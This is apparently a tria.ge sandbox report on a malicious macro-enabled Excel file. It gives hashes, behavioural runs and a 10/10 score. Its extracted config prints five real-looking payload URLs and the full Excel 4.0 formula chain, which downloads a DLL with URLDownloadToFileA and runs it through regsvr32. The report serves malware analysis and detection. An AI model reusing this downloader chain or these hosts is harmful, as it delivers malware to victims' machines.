Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6
-
Size
173KB
-
Sample
241111-11ynnsxgnj
-
MD5
807bd00fbcb3423848d5c906652fc307
-
SHA1
830844af926f76b788900b6056d4249cfd34ae42
-
SHA256
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6
-
SHA512
fd003928453c7c572ac6d2b94d31089749f948f6bad43627be427e04619fd99738ad9974d7e8c9e2fdc5903ba240cb9a3f206f5895acf220f4bb61dde26a49a4
-
SSDEEP
3072:l8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:l8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk
Behavioral task
behavioral1
Sample
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/
https://nuugebeya.com/wp-content/LqCYYSBQ/
https://larassatistore.com/mail.tie-collection.my.id/SZZ0/
https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/
https://vendedoramigo.com.br/wp-admin/tfQwLyk4/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuugebeya.com/wp-content/LqCYYSBQ/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://larassatistore.com/mail.tie-collection.my.id/SZZ0/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vendedoramigo.com.br/wp-admin/tfQwLyk4/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()
Extracted
https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/
https://nuugebeya.com/wp-content/LqCYYSBQ/
https://larassatistore.com/mail.tie-collection.my.id/SZZ0/
https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/
https://vendedoramigo.com.br/wp-admin/tfQwLyk4/
Targets
-
-
Target
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6
-
Size
173KB
-
MD5
807bd00fbcb3423848d5c906652fc307
-
SHA1
830844af926f76b788900b6056d4249cfd34ae42
-
SHA256
04b8823e45b077495ce32e7357100ab82a9671236b29f49a9ea118de510973f6
-
SHA512
fd003928453c7c572ac6d2b94d31089749f948f6bad43627be427e04619fd99738ad9974d7e8c9e2fdc5903ba240cb9a3f206f5895acf220f4bb61dde26a49a4
-
SSDEEP
3072:l8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:l8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk
Score10/10 -